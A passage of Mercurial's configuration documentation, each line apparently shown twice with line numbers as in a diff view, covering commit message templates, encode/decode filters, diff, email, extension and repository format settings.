550 For example, the template configuration below shows as same text as
550 For example, the template configuration below shows as same text as
551 one shown by default::
551 one shown by default::
552
552
553 [committemplate]
553 [committemplate]
554 changeset = {desc}\n\n
554 changeset = {desc}\n\n
555 HG: Enter commit message. Lines beginning with 'HG:' are removed.
555 HG: Enter commit message. Lines beginning with 'HG:' are removed.
556 HG: {extramsg}
556 HG: {extramsg}
557 HG: --
557 HG: --
558 HG: user: {author}\n{ifeq(p2rev, "-1", "",
558 HG: user: {author}\n{ifeq(p2rev, "-1", "",
559 "HG: branch merge\n")
559 "HG: branch merge\n")
560 }HG: branch '{branch}'\n{if(activebookmark,
560 }HG: branch '{branch}'\n{if(activebookmark,
561 "HG: bookmark '{activebookmark}'\n") }{subrepos %
561 "HG: bookmark '{activebookmark}'\n") }{subrepos %
562 "HG: subrepo {subrepo}\n" }{file_adds %
562 "HG: subrepo {subrepo}\n" }{file_adds %
563 "HG: added {file}\n" }{file_mods %
563 "HG: added {file}\n" }{file_mods %
564 "HG: changed {file}\n" }{file_dels %
564 "HG: changed {file}\n" }{file_dels %
565 "HG: removed {file}\n" }{if(files, "",
565 "HG: removed {file}\n" }{if(files, "",
566 "HG: no files changed\n")}
566 "HG: no files changed\n")}
567
567
568 ``diff()``
568 ``diff()``
569 String: show the diff (see :hg:`help templates` for detail)
569 String: show the diff (see :hg:`help templates` for detail)
570
570
571 Sometimes it is helpful to show the diff of the changeset in the editor without
571 Sometimes it is helpful to show the diff of the changeset in the editor without
572 having to prefix 'HG: ' to each line so that highlighting works correctly. For
572 having to prefix 'HG: ' to each line so that highlighting works correctly. For
573 this, Mercurial provides a special string which will ignore everything below
573 this, Mercurial provides a special string which will ignore everything below
574 it::
574 it::
575
575
576 HG: ------------------------ >8 ------------------------
576 HG: ------------------------ >8 ------------------------
577
577
578 For example, the template configuration below will show the diff below the
578 For example, the template configuration below will show the diff below the
579 extra message::
579 extra message::
580
580
581 [committemplate]
581 [committemplate]
582 changeset = {desc}\n\n
582 changeset = {desc}\n\n
583 HG: Enter commit message. Lines beginning with 'HG:' are removed.
583 HG: Enter commit message. Lines beginning with 'HG:' are removed.
584 HG: {extramsg}
584 HG: {extramsg}
585 HG: ------------------------ >8 ------------------------
585 HG: ------------------------ >8 ------------------------
586 HG: Do not touch the line above.
586 HG: Do not touch the line above.
587 HG: Everything below will be removed.
587 HG: Everything below will be removed.
588 {diff()}
588 {diff()}
589
589
590 .. note::
590 .. note::
591
591
592 For some problematic encodings (see :hg:`help win32mbcs` for
592 For some problematic encodings (see :hg:`help win32mbcs` for
593 detail), this customization should be configured carefully, to
593 detail), this customization should be configured carefully, to
594 avoid showing broken characters.
594 avoid showing broken characters.
595
595
596 For example, if a multibyte character ending with backslash (0x5c) is
596 For example, if a multibyte character ending with backslash (0x5c) is
597 followed by the ASCII character 'n' in the customized template,
597 followed by the ASCII character 'n' in the customized template,
598 the sequence of backslash and 'n' is treated as line-feed unexpectedly
598 the sequence of backslash and 'n' is treated as line-feed unexpectedly
599 (and the multibyte character is broken, too).
599 (and the multibyte character is broken, too).
600
600
601 Customized template is used for commands below (``--edit`` may be
601 Customized template is used for commands below (``--edit`` may be
602 required):
602 required):
603
603
604 - :hg:`backout`
604 - :hg:`backout`
605 - :hg:`commit`
605 - :hg:`commit`
606 - :hg:`fetch` (for merge commit only)
606 - :hg:`fetch` (for merge commit only)
607 - :hg:`graft`
607 - :hg:`graft`
608 - :hg:`histedit`
608 - :hg:`histedit`
609 - :hg:`import`
609 - :hg:`import`
610 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
610 - :hg:`qfold`, :hg:`qnew` and :hg:`qrefresh`
611 - :hg:`rebase`
611 - :hg:`rebase`
612 - :hg:`shelve`
612 - :hg:`shelve`
613 - :hg:`sign`
613 - :hg:`sign`
614 - :hg:`tag`
614 - :hg:`tag`
615 - :hg:`transplant`
615 - :hg:`transplant`
616
616
617 Configuring items below instead of ``changeset`` allows showing
617 Configuring items below instead of ``changeset`` allows showing
618 customized message only for specific actions, or showing different
618 customized message only for specific actions, or showing different
619 messages for each action.
619 messages for each action.
620
620
621 - ``changeset.backout`` for :hg:`backout`
621 - ``changeset.backout`` for :hg:`backout`
622 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
622 - ``changeset.commit.amend.merge`` for :hg:`commit --amend` on merges
623 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
623 - ``changeset.commit.amend.normal`` for :hg:`commit --amend` on other
624 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
624 - ``changeset.commit.normal.merge`` for :hg:`commit` on merges
625 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
625 - ``changeset.commit.normal.normal`` for :hg:`commit` on other
626 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
626 - ``changeset.fetch`` for :hg:`fetch` (impling merge commit)
627 - ``changeset.gpg.sign`` for :hg:`sign`
627 - ``changeset.gpg.sign`` for :hg:`sign`
628 - ``changeset.graft`` for :hg:`graft`
628 - ``changeset.graft`` for :hg:`graft`
629 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
629 - ``changeset.histedit.edit`` for ``edit`` of :hg:`histedit`
630 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
630 - ``changeset.histedit.fold`` for ``fold`` of :hg:`histedit`
631 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
631 - ``changeset.histedit.mess`` for ``mess`` of :hg:`histedit`
632 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
632 - ``changeset.histedit.pick`` for ``pick`` of :hg:`histedit`
633 - ``changeset.import.bypass`` for :hg:`import --bypass`
633 - ``changeset.import.bypass`` for :hg:`import --bypass`
634 - ``changeset.import.normal.merge`` for :hg:`import` on merges
634 - ``changeset.import.normal.merge`` for :hg:`import` on merges
635 - ``changeset.import.normal.normal`` for :hg:`import` on other
635 - ``changeset.import.normal.normal`` for :hg:`import` on other
636 - ``changeset.mq.qnew`` for :hg:`qnew`
636 - ``changeset.mq.qnew`` for :hg:`qnew`
637 - ``changeset.mq.qfold`` for :hg:`qfold`
637 - ``changeset.mq.qfold`` for :hg:`qfold`
638 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
638 - ``changeset.mq.qrefresh`` for :hg:`qrefresh`
639 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
639 - ``changeset.rebase.collapse`` for :hg:`rebase --collapse`
640 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
640 - ``changeset.rebase.merge`` for :hg:`rebase` on merges
641 - ``changeset.rebase.normal`` for :hg:`rebase` on other
641 - ``changeset.rebase.normal`` for :hg:`rebase` on other
642 - ``changeset.shelve.shelve`` for :hg:`shelve`
642 - ``changeset.shelve.shelve`` for :hg:`shelve`
643 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
643 - ``changeset.tag.add`` for :hg:`tag` without ``--remove``
644 - ``changeset.tag.remove`` for :hg:`tag --remove`
644 - ``changeset.tag.remove`` for :hg:`tag --remove`
645 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
645 - ``changeset.transplant.merge`` for :hg:`transplant` on merges
646 - ``changeset.transplant.normal`` for :hg:`transplant` on other
646 - ``changeset.transplant.normal`` for :hg:`transplant` on other
647
647
648 These dot-separated lists of names are treated as hierarchical ones.
648 These dot-separated lists of names are treated as hierarchical ones.
649 For example, ``changeset.tag.remove`` customizes the commit message
649 For example, ``changeset.tag.remove`` customizes the commit message
650 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
650 only for :hg:`tag --remove`, but ``changeset.tag`` customizes the
651 commit message for :hg:`tag` regardless of ``--remove`` option.
651 commit message for :hg:`tag` regardless of ``--remove`` option.
652
652
653 When the external editor is invoked for a commit, the corresponding
653 When the external editor is invoked for a commit, the corresponding
654 dot-separated list of names without the ``changeset.`` prefix
654 dot-separated list of names without the ``changeset.`` prefix
655 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
655 (e.g. ``commit.normal.normal``) is in the ``HGEDITFORM`` environment
656 variable.
656 variable.
657
657
658 In this section, items other than ``changeset`` can be referred from
658 In this section, items other than ``changeset`` can be referred from
659 others. For example, the configuration to list committed files up
659 others. For example, the configuration to list committed files up
660 below can be referred as ``{listupfiles}``::
660 below can be referred as ``{listupfiles}``::
661
661
662 [committemplate]
662 [committemplate]
663 listupfiles = {file_adds %
663 listupfiles = {file_adds %
664 "HG: added {file}\n" }{file_mods %
664 "HG: added {file}\n" }{file_mods %
665 "HG: changed {file}\n" }{file_dels %
665 "HG: changed {file}\n" }{file_dels %
666 "HG: removed {file}\n" }{if(files, "",
666 "HG: removed {file}\n" }{if(files, "",
667 "HG: no files changed\n")}
667 "HG: no files changed\n")}
668
668
669 ``decode/encode``
669 ``decode/encode``
670 -----------------
670 -----------------
671
671
672 Filters for transforming files on checkout/checkin. This would
672 Filters for transforming files on checkout/checkin. This would
673 typically be used for newline processing or other
673 typically be used for newline processing or other
674 localization/canonicalization of files.
674 localization/canonicalization of files.
675
675
676 Filters consist of a filter pattern followed by a filter command.
676 Filters consist of a filter pattern followed by a filter command.
677 Filter patterns are globs by default, rooted at the repository root.
677 Filter patterns are globs by default, rooted at the repository root.
678 For example, to match any file ending in ``.txt`` in the root
678 For example, to match any file ending in ``.txt`` in the root
679 directory only, use the pattern ``*.txt``. To match any file ending
679 directory only, use the pattern ``*.txt``. To match any file ending
680 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
680 in ``.c`` anywhere in the repository, use the pattern ``**.c``.
681 For each file only the first matching filter applies.
681 For each file only the first matching filter applies.
682
682
683 The filter command can start with a specifier, either ``pipe:`` or
683 The filter command can start with a specifier, either ``pipe:`` or
684 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
684 ``tempfile:``. If no specifier is given, ``pipe:`` is used by default.
685
685
686 A ``pipe:`` command must accept data on stdin and return the transformed
686 A ``pipe:`` command must accept data on stdin and return the transformed
687 data on stdout.
687 data on stdout.
688
688
689 Pipe example::
689 Pipe example::
690
690
691 [encode]
691 [encode]
692 # uncompress gzip files on checkin to improve delta compression
692 # uncompress gzip files on checkin to improve delta compression
693 # note: not necessarily a good idea, just an example
693 # note: not necessarily a good idea, just an example
694 *.gz = pipe: gunzip
694 *.gz = pipe: gunzip
695
695
696 [decode]
696 [decode]
697 # recompress gzip files when writing them to the working dir (we
697 # recompress gzip files when writing them to the working dir (we
698 # can safely omit "pipe:", because it's the default)
698 # can safely omit "pipe:", because it's the default)
699 *.gz = gzip
699 *.gz = gzip
700
700
701 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
701 A ``tempfile:`` command is a template. The string ``INFILE`` is replaced
702 with the name of a temporary file that contains the data to be
702 with the name of a temporary file that contains the data to be
703 filtered by the command. The string ``OUTFILE`` is replaced with the name
703 filtered by the command. The string ``OUTFILE`` is replaced with the name
704 of an empty temporary file, where the filtered data must be written by
704 of an empty temporary file, where the filtered data must be written by
705 the command.
705 the command.
706
706
707 .. container:: windows
707 .. container:: windows
708
708
709 .. note::
709 .. note::
710
710
711 The tempfile mechanism is recommended for Windows systems,
711 The tempfile mechanism is recommended for Windows systems,
712 where the standard shell I/O redirection operators often have
712 where the standard shell I/O redirection operators often have
713 strange effects and may corrupt the contents of your files.
713 strange effects and may corrupt the contents of your files.
714
714
715 This filter mechanism is used internally by the ``eol`` extension to
715 This filter mechanism is used internally by the ``eol`` extension to
716 translate line ending characters between Windows (CRLF) and Unix (LF)
716 translate line ending characters between Windows (CRLF) and Unix (LF)
717 format. We suggest you use the ``eol`` extension for convenience.
717 format. We suggest you use the ``eol`` extension for convenience.
718
718
719
719
720 ``defaults``
720 ``defaults``
721 ------------
721 ------------
722
722
723 (defaults are deprecated. Don't use them. Use aliases instead.)
723 (defaults are deprecated. Don't use them. Use aliases instead.)
724
724
725 Use the ``[defaults]`` section to define command defaults, i.e. the
725 Use the ``[defaults]`` section to define command defaults, i.e. the
726 default options/arguments to pass to the specified commands.
726 default options/arguments to pass to the specified commands.
727
727
728 The following example makes :hg:`log` run in verbose mode, and
728 The following example makes :hg:`log` run in verbose mode, and
729 :hg:`status` show only the modified files, by default::
729 :hg:`status` show only the modified files, by default::
730
730
731 [defaults]
731 [defaults]
732 log = -v
732 log = -v
733 status = -m
733 status = -m
734
734
735 The actual commands, instead of their aliases, must be used when
735 The actual commands, instead of their aliases, must be used when
736 defining command defaults. The command defaults will also be applied
736 defining command defaults. The command defaults will also be applied
737 to the aliases of the commands defined.
737 to the aliases of the commands defined.
738
738
739
739
740 ``diff``
740 ``diff``
741 --------
741 --------
742
742
743 Settings used when displaying diffs. Everything except for ``unified``
743 Settings used when displaying diffs. Everything except for ``unified``
744 is a Boolean and defaults to False. See :hg:`help config.annotate`
744 is a Boolean and defaults to False. See :hg:`help config.annotate`
745 for related options for the annotate command.
745 for related options for the annotate command.
746
746
747 ``git``
747 ``git``
748 Use git extended diff format.
748 Use git extended diff format.
749
749
750 ``nobinary``
750 ``nobinary``
751 Omit git binary patches.
751 Omit git binary patches.
752
752
753 ``nodates``
753 ``nodates``
754 Don't include dates in diff headers.
754 Don't include dates in diff headers.
755
755
756 ``noprefix``
756 ``noprefix``
757 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
757 Omit 'a/' and 'b/' prefixes from filenames. Ignored in plain mode.
758
758
759 ``showfunc``
759 ``showfunc``
760 Show which function each change is in.
760 Show which function each change is in.
761
761
762 ``ignorews``
762 ``ignorews``
763 Ignore white space when comparing lines.
763 Ignore white space when comparing lines.
764
764
765 ``ignorewsamount``
765 ``ignorewsamount``
766 Ignore changes in the amount of white space.
766 Ignore changes in the amount of white space.
767
767
768 ``ignoreblanklines``
768 ``ignoreblanklines``
769 Ignore changes whose lines are all blank.
769 Ignore changes whose lines are all blank.
770
770
771 ``unified``
771 ``unified``
772 Number of lines of context to show.
772 Number of lines of context to show.
773
773
774 ``word-diff``
774 ``word-diff``
775 Highlight changed words.
775 Highlight changed words.
776
776
777 ``email``
777 ``email``
778 ---------
778 ---------
779
779
780 Settings for extensions that send email messages.
780 Settings for extensions that send email messages.
781
781
782 ``from``
782 ``from``
783 Optional. Email address to use in "From" header and SMTP envelope
783 Optional. Email address to use in "From" header and SMTP envelope
784 of outgoing messages.
784 of outgoing messages.
785
785
786 ``to``
786 ``to``
787 Optional. Comma-separated list of recipients' email addresses.
787 Optional. Comma-separated list of recipients' email addresses.
788
788
789 ``cc``
789 ``cc``
790 Optional. Comma-separated list of carbon copy recipients'
790 Optional. Comma-separated list of carbon copy recipients'
791 email addresses.
791 email addresses.
792
792
793 ``bcc``
793 ``bcc``
794 Optional. Comma-separated list of blind carbon copy recipients'
794 Optional. Comma-separated list of blind carbon copy recipients'
795 email addresses.
795 email addresses.
796
796
797 ``method``
797 ``method``
798 Optional. Method to use to send email messages. If value is ``smtp``
798 Optional. Method to use to send email messages. If value is ``smtp``
799 (default), use SMTP (see the ``[smtp]`` section for configuration).
799 (default), use SMTP (see the ``[smtp]`` section for configuration).
800 Otherwise, use as name of program to run that acts like sendmail
800 Otherwise, use as name of program to run that acts like sendmail
801 (takes ``-f`` option for sender, list of recipients on command line,
801 (takes ``-f`` option for sender, list of recipients on command line,
802 message on stdin). Normally, setting this to ``sendmail`` or
802 message on stdin). Normally, setting this to ``sendmail`` or
803 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
803 ``/usr/sbin/sendmail`` is enough to use sendmail to send messages.
804
804
805 ``charsets``
805 ``charsets``
806 Optional. Comma-separated list of character sets considered
806 Optional. Comma-separated list of character sets considered
807 convenient for recipients. Addresses, headers, and parts not
807 convenient for recipients. Addresses, headers, and parts not
808 containing patches of outgoing messages will be encoded in the
808 containing patches of outgoing messages will be encoded in the
809 first character set to which conversion from local encoding
809 first character set to which conversion from local encoding
810 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
810 (``$HGENCODING``, ``ui.fallbackencoding``) succeeds. If correct
811 conversion fails, the text in question is sent as is.
811 conversion fails, the text in question is sent as is.
812 (default: '')
812 (default: '')
813
813
814 Order of outgoing email character sets:
814 Order of outgoing email character sets:
815
815
816 1. ``us-ascii``: always first, regardless of settings
816 1. ``us-ascii``: always first, regardless of settings
817 2. ``email.charsets``: in order given by user
817 2. ``email.charsets``: in order given by user
818 3. ``ui.fallbackencoding``: if not in email.charsets
818 3. ``ui.fallbackencoding``: if not in email.charsets
819 4. ``$HGENCODING``: if not in email.charsets
819 4. ``$HGENCODING``: if not in email.charsets
820 5. ``utf-8``: always last, regardless of settings
820 5. ``utf-8``: always last, regardless of settings
821
821
822 Email example::
822 Email example::
823
823
824 [email]
824 [email]
825 from = Joseph User <joe.user@example.com>
825 from = Joseph User <joe.user@example.com>
826 method = /usr/sbin/sendmail
826 method = /usr/sbin/sendmail
827 # charsets for western Europeans
827 # charsets for western Europeans
828 # us-ascii, utf-8 omitted, as they are tried first and last
828 # us-ascii, utf-8 omitted, as they are tried first and last
829 charsets = iso-8859-1, iso-8859-15, windows-1252
829 charsets = iso-8859-1, iso-8859-15, windows-1252
830
830
831
831
832 ``extensions``
832 ``extensions``
833 --------------
833 --------------
834
834
835 Mercurial has an extension mechanism for adding new features. To
835 Mercurial has an extension mechanism for adding new features. To
836 enable an extension, create an entry for it in this section.
836 enable an extension, create an entry for it in this section.
837
837
838 If you know that the extension is already in Python's search path,
838 If you know that the extension is already in Python's search path,
839 you can give the name of the module, followed by ``=``, with nothing
839 you can give the name of the module, followed by ``=``, with nothing
840 after the ``=``.
840 after the ``=``.
841
841
842 Otherwise, give a name that you choose, followed by ``=``, followed by
842 Otherwise, give a name that you choose, followed by ``=``, followed by
843 the path to the ``.py`` file (including the file name extension) that
843 the path to the ``.py`` file (including the file name extension) that
844 defines the extension.
844 defines the extension.
845
845
846 To explicitly disable an extension that is enabled in an hgrc of
846 To explicitly disable an extension that is enabled in an hgrc of
847 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
847 broader scope, prepend its path with ``!``, as in ``foo = !/ext/path``
848 or ``foo = !`` when path is not supplied.
848 or ``foo = !`` when path is not supplied.
849
849
850 Example for ``~/.hgrc``::
850 Example for ``~/.hgrc``::
851
851
852 [extensions]
852 [extensions]
853 # (the churn extension will get loaded from Mercurial's path)
853 # (the churn extension will get loaded from Mercurial's path)
854 churn =
854 churn =
855 # (this extension will get loaded from the file specified)
855 # (this extension will get loaded from the file specified)
856 myfeature = ~/.hgext/myfeature.py
856 myfeature = ~/.hgext/myfeature.py
857
857
858 If an extension fails to load, a warning will be issued, and Mercurial will
858 If an extension fails to load, a warning will be issued, and Mercurial will
859 proceed. To enforce that an extension must be loaded, one can set the `required`
859 proceed. To enforce that an extension must be loaded, one can set the `required`
860 suboption in the config::
860 suboption in the config::
861
861
862 [extensions]
862 [extensions]
863 myfeature = ~/.hgext/myfeature.py
863 myfeature = ~/.hgext/myfeature.py
864 myfeature:required = yes
864 myfeature:required = yes
865
865
866 To debug extension loading issue, one can add `--traceback` to their mercurial
866 To debug extension loading issue, one can add `--traceback` to their mercurial
867 invocation.
867 invocation.
868
868
869 A default setting can we set using the special `*` extension key::
869 A default setting can we set using the special `*` extension key::
870
870
871 [extensions]
871 [extensions]
872 *:required = yes
872 *:required = yes
873 myfeature = ~/.hgext/myfeature.py
873 myfeature = ~/.hgext/myfeature.py
874 rebase=
874 rebase=
875
875
876
876
877 ``format``
877 ``format``
878 ----------
878 ----------
879
879
880 Configuration that controls the repository format. Newer format options are more
880 Configuration that controls the repository format. Newer format options are more
881 powerful, but incompatible with some older versions of Mercurial. Format options
881 powerful, but incompatible with some older versions of Mercurial. Format options
882 are considered at repository initialization only. You need to make a new clone
882 are considered at repository initialization only. You need to make a new clone
883 for config changes to be taken into account.
883 for config changes to be taken into account.
884
884
885 For more details about repository format and version compatibility, see
885 For more details about repository format and version compatibility, see
886 https://www.mercurial-scm.org/wiki/MissingRequirement
886 https://www.mercurial-scm.org/wiki/MissingRequirement
887
887
888 ``usegeneraldelta``
888 ``usegeneraldelta``
889 Enable or disable the "generaldelta" repository format which improves
889 Enable or disable the "generaldelta" repository format which improves
890 repository compression by allowing "revlog" to store deltas against
890 repository compression by allowing "revlog" to store deltas against
891 arbitrary revisions instead of the previously stored one. This provides
891 arbitrary revisions instead of the previously stored one. This provides
892 significant improvement for repositories with branches.
892 significant improvement for repositories with branches.
893
893
894 Repositories with this on-disk format require Mercurial version 1.9.
894 Repositories with this on-disk format require Mercurial version 1.9.
895
895
896 Enabled by default.
896 Enabled by default.
897
897
898 ``dotencode``
898 ``dotencode``
899 Enable or disable the "dotencode" repository format which enhances
899 Enable or disable the "dotencode" repository format which enhances
900 the "fncache" repository format (which has to be enabled to use
900 the "fncache" repository format (which has to be enabled to use
901 dotencode) to avoid issues with filenames starting with "._" on
901 dotencode) to avoid issues with filenames starting with "._" on
902 Mac OS X and spaces on Windows.
902 Mac OS X and spaces on Windows.
903
903
904 Repositories with this on-disk format require Mercurial version 1.7.
904 Repositories with this on-disk format require Mercurial version 1.7.
905
905
906 Enabled by default.
906 Enabled by default.
907
907
908 ``usefncache``
908 ``usefncache``
909 Enable or disable the "fncache" repository format which enhances
909 Enable or disable the "fncache" repository format which enhances
910 the "store" repository format (which has to be enabled to use
910 the "store" repository format (which has to be enabled to use
911 fncache) to allow longer filenames and avoids using Windows
911 fncache) to allow longer filenames and avoids using Windows
912 reserved names, e.g. "nul".
912 reserved names, e.g. "nul".
913
913
914 Repositories with this on-disk format require Mercurial version 1.1.
914 Repositories with this on-disk format require Mercurial version 1.1.
915
915
916 Enabled by default.
916 Enabled by default.
917
917
918 ``use-dirstate-v2``
918 ``use-dirstate-v2``
919 Enable or disable the experimental "dirstate-v2" feature. The dirstate
919 Enable or disable the experimental "dirstate-v2" feature. The dirstate
920 functionality is shared by all commands interacting with the working copy.
920 functionality is shared by all commands interacting with the working copy.
921 The new version is more robust, faster and stores more information.
921 The new version is more robust, faster and stores more information.
922
922
923 The performance-improving version of this feature is currently only
923 The performance-improving version of this feature is currently only
924 implemented in Rust (see :hg:`help rust`), so people not using a version of
924 implemented in Rust (see :hg:`help rust`), so people not using a version of
925 Mercurial compiled with the Rust parts might actually suffer some slowdown.
925 Mercurial compiled with the Rust parts might actually suffer some slowdown.
926 For this reason, such versions will by default refuse to access repositories
926 For this reason, such versions will by default refuse to access repositories
927 with "dirstate-v2" enabled.
927 with "dirstate-v2" enabled.
928
928
929 This behavior can be adjusted via configuration: check
929 This behavior can be adjusted via configuration: check
930 :hg:`help config.storage.dirstate-v2.slow-path` for details.
930 :hg:`help config.storage.dirstate-v2.slow-path` for details.
931
931
932 Repositories with this on-disk format require Mercurial 6.0 or above.
932 Repositories with this on-disk format require Mercurial 6.0 or above.
933
933
934 By default this format variant is disabled if the fast implementation is not
934 By default this format variant is disabled if the fast implementation is not
935 available, and enabled by default if the fast implementation is available.
935 available, and enabled by default if the fast implementation is available.
936
936
937 To accomodate installations of Mercurial without the fast implementation,
937 To accomodate installations of Mercurial without the fast implementation,
938 you can downgrade your repository. To do so run the following command:
938 you can downgrade your repository. To do so run the following command:
939
939
940 $ hg debugupgraderepo \
940 $ hg debugupgraderepo \
941 --run \
941 --run \
942 --config format.use-dirstate-v2=False \
942 --config format.use-dirstate-v2=False \
943 --config storage.dirstate-v2.slow-path=allow
943 --config storage.dirstate-v2.slow-path=allow
944
944
945 For a more comprehensive guide, see :hg:`help internals.dirstate-v2`.
945 For a more comprehensive guide, see :hg:`help internals.dirstate-v2`.
946
946
947 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories``
947 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories``
948 When enabled, an automatic upgrade will be triggered when a repository format
948 When enabled, an automatic upgrade will be triggered when a repository format
949 does not match its `use-dirstate-v2` config.
949 does not match its `use-dirstate-v2` config.
950
950
951 This is an advanced behavior that most users will not need. We recommend you
951 This is an advanced behavior that most users will not need. We recommend you
952 don't use this unless you are a seasoned administrator of a Mercurial install
952 don't use this unless you are a seasoned administrator of a Mercurial install
953 base.
953 base.
954
954
955 Automatic upgrade means that any process accessing the repository will
955 Automatic upgrade means that any process accessing the repository will
956 upgrade the repository format to use `dirstate-v2`. This only triggers if a
956 upgrade the repository format to use `dirstate-v2`. This only triggers if a
957 change is needed. This also applies to operations that would have been
957 change is needed. This also applies to operations that would have been
958 read-only (like hg status).
958 read-only (like hg status).
959
959
960 If the repository cannot be locked, the automatic-upgrade operation will be
960 If the repository cannot be locked, the automatic-upgrade operation will be
961 skipped. The next operation will attempt it again.
961 skipped. The next operation will attempt it again.
962
962
963 This configuration will apply for moves in any direction, either adding the
963 This configuration will apply for moves in any direction, either adding the
964 `dirstate-v2` format if `format.use-dirstate-v2=yes` or removing the
964 `dirstate-v2` format if `format.use-dirstate-v2=yes` or removing the
965 `dirstate-v2` requirement if `format.use-dirstate-v2=no`. So we recommend
965 `dirstate-v2` requirement if `format.use-dirstate-v2=no`. So we recommend
966 setting both this value and `format.use-dirstate-v2` at the same time.
966 setting both this value and `format.use-dirstate-v2` at the same time.
967
967
968 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet``
968 ``use-dirstate-v2.automatic-upgrade-of-mismatching-repositories:quiet``
969 Hide message when performing such automatic upgrade.
969 Hide message when performing such automatic upgrade.
970
970
971 ``use-dirstate-tracked-hint``
971 ``use-dirstate-tracked-hint``
972 Enable or disable the writing of "tracked key" file alongside the dirstate.
972 Enable or disable the writing of "tracked key" file alongside the dirstate.
973 (default to disabled)
973 (default to disabled)
974
974
975 That "tracked-hint" can help external automations to detect changes to the
975 That "tracked-hint" can help external automations to detect changes to the
976 set of tracked files. (i.e the result of `hg files` or `hg status -macd`)
976 set of tracked files. (i.e the result of `hg files` or `hg status -macd`)
977
977
978 The tracked-hint is written in a new `.hg/dirstate-tracked-hint`. That file
978 The tracked-hint is written in a new `.hg/dirstate-tracked-hint`. That file
979 contains two lines:
979 contains two lines:
980 - the first line is the file version (currently: 1),
980 - the first line is the file version (currently: 1),
981 - the second line contains the "tracked-hint".
981 - the second line contains the "tracked-hint".
982 That file is written right after the dirstate is written.
982 That file is written right after the dirstate is written.
983
983
984 The tracked-hint changes whenever the set of file tracked in the dirstate
984 The tracked-hint changes whenever the set of file tracked in the dirstate
985 changes. The general idea is:
985 changes. The general idea is:
986 - if the hint is identical, the set of tracked file SHOULD be identical,
986 - if the hint is identical, the set of tracked file SHOULD be identical,
987 - if the hint is different, the set of tracked file MIGHT be different.
987 - if the hint is different, the set of tracked file MIGHT be different.
988
988
989 The "hint is identical" case uses `SHOULD` as the dirstate and the hint file
989 The "hint is identical" case uses `SHOULD` as the dirstate and the hint file
990 are two distinct files and therefore that cannot be read or written to in an
990 are two distinct files and therefore that cannot be read or written to in an
991 atomic way. If the key is identical, nothing garantees that the dirstate is
991 atomic way. If the key is identical, nothing garantees that the dirstate is
992 not updated right after the hint file. This is considered a negligible
992 not updated right after the hint file. This is considered a negligible
993 limitation for the intended usecase. It is actually possible to prevent this
993 limitation for the intended usecase. It is actually possible to prevent this
994 race by taking the repository lock during read operations.
994 race by taking the repository lock during read operations.
995
995
996 They are two "ways" to use this feature:
996 They are two "ways" to use this feature:
997
997
998 1) monitoring changes to the `.hg/dirstate-tracked-hint`, if the file
998 1) monitoring changes to the `.hg/dirstate-tracked-hint`, if the file
999 changes, the tracked set might have changed.
999 changes, the tracked set might have changed.
1000
1000
1001 2) storing the value and comparing it to a later value.
1001 2) storing the value and comparing it to a later value.
1002
1002
1003
1003
1004 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories``
1004 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories``
1005 When enabled, an automatic upgrade will be triggered when a repository format
1005 When enabled, an automatic upgrade will be triggered when a repository format
1006 does not match its `use-dirstate-tracked-hint` config.
1006 does not match its `use-dirstate-tracked-hint` config.
1007
1007
1008 This is an advanced behavior that most users will not need. We recommend you
1008 This is an advanced behavior that most users will not need. We recommend you
1009 don't use this unless you are a seasoned administrator of a Mercurial install
1009 don't use this unless you are a seasoned administrator of a Mercurial install
1010 base.
1010 base.
1011
1011
1012 Automatic upgrade means that any process accessing the repository will
1012 Automatic upgrade means that any process accessing the repository will
1013 upgrade the repository format to use `dirstate-tracked-hint`. This only
1013 upgrade the repository format to use `dirstate-tracked-hint`. This only
1014 triggers if a change is needed. This also applies to operations that would
1014 triggers if a change is needed. This also applies to operations that would
1015 have been read-only (like hg status).
1015 have been read-only (like hg status).
1016
1016
1017 If the repository cannot be locked, the automatic-upgrade operation will be
1017 If the repository cannot be locked, the automatic-upgrade operation will be
1018 skipped. The next operation will attempt it again.
1018 skipped. The next operation will attempt it again.
1019
1019
1020 This configuration will apply for moves in any direction, either adding the
1020 This configuration will apply for moves in any direction, either adding the
1021 `dirstate-tracked-hint` format if `format.use-dirstate-tracked-hint=yes` or
1021 `dirstate-tracked-hint` format if `format.use-dirstate-tracked-hint=yes` or
1022 removing the `dirstate-tracked-hint` requirement if
1022 removing the `dirstate-tracked-hint` requirement if
1023 `format.use-dirstate-tracked-hint=no`. So we recommend setting both this
1023 `format.use-dirstate-tracked-hint=no`. So we recommend setting both this
1024 value and `format.use-dirstate-tracked-hint` at the same time.
1024 value and `format.use-dirstate-tracked-hint` at the same time.
1025
1025
1026
1026
1027 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet``
1027 ``use-dirstate-tracked-hint.automatic-upgrade-of-mismatching-repositories:quiet``
1028 Hide message when performing such automatic upgrade.
1028 Hide message when performing such automatic upgrade.
1029
1029
1030
1030
1031 ``use-persistent-nodemap``
1031 ``use-persistent-nodemap``
